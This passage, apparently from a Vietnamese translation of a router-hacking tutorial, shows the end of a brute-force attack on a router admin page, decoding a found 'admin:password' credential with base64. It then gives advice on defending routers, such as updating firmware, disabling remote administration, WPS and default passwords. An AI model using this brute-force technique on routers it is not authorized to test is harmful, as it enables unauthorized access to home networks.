Lần này, chúng tôi chỉ nhận được một yêu cầu với 200 mã trạng thái. Kích thước của phản hồi là 622 byte, nhiều hơn so với phản hồi thất bại 401. Đó là một dấu hiệu tốt. Thông tin đăng nhập có thể được giải mã bằng lệnh sau.

~$ printf 'YWRtaW46cGFzc3dvcmQ=' | base64 -d

admin:password

Cách bảo vệ bản thân khỏi các cuộc tấn công cổng bộ định tuyến

Thường xuyên cập nhật chương trình cơ sở sẽ giúp ngăn chặn việc khai thác và các cuộc tấn công Routersploit . Mật khẩu mạnh (không mặc định) sẽ ngăn chặn các cuộc tấn công vũ phu được thực hiện với Patator.

Cập nhật chương trình cơ sở . Các công ty bộ định tuyến thường phát hành lỗi và khai thác các bản vá. Điều quan trọng là phải luôn cập nhật chương trình cơ sở của bộ định tuyến và kiểm tra cập nhật tự động nếu có thể.

Vô hiệu hóa quản trị từ xa . Một số bộ định tuyến cho phép truy cập từ xa theo mặc định. Nếu không biết điều đó, tin tặc có thể tìm thấy bộ định tuyến của bạn trên internet và giành quyền kiểm soát nó.

Thay đổi mật khẩu mặc định . Không bao giờ sử dụng mật khẩu mặc định. Điều này áp dụng cho mật khẩu Wi-Fi mà các thiết bị khác sử dụng để kết nối với bộ định tuyến, nhưng cũng là cổng quản trị, cho phép bạn thay đổi cài đặt bộ định tuyến nhạy cảm. Có rất nhiều trang web dành riêng để chia sẻ mật khẩu quản trị mặc định.

Mã hóa WPA2 . Chỉ sử dụng mã hóa WPA2. Các tùy chọn mã hóa yếu hơn như WEP sẽ khiến bộ định tuyến của bạn cực kỳ dễ bị tấn công.

Vô hiệu hóa WPS . WPS là một tính năng được thiết kế trong hầu hết các bộ định tuyến được cho là để truy cập an toàn vào bộ định tuyến của bạn mà không cần mật khẩu thuận tiện hơn. Thật không may, tính năng này thường được bật theo mặc định và có thể dễ dàng bị tin tặc khai thác.

Hãy kiên trì . Thay đổi mật khẩu Wi-Fi của bạn vài tháng một lần. Thật khó để đặt lại mật khẩu Wi-Fi trên tất cả các thiết bị của bạn, nhưng chiến thuật này sẽ khiến tin tặc đoán – theo nghĩa đen. Nếu một hacker đã bắt được một cái bắt tay WPA2 và mất vài tuần để bẻ khóa nó, việc thay đổi mật khẩu của bạn sẽ khiến cho cái bắt tay bị bắt trở nên vô dụng.

Thật không may, không có bộ định tuyến nào tôi đã thử nghiệm hỗ trợ HTTPS khi xác thực quản trị viên. Vì vậy, kẻ tấn công trên mạng kiểm tra lưu lượng sẽ có thể thụ động khám phá mật khẩu đăng nhập – ngay cả khi đó là mật khẩu 42 ký tự hoàn toàn ngẫu nhiên.

Để lại một bình luận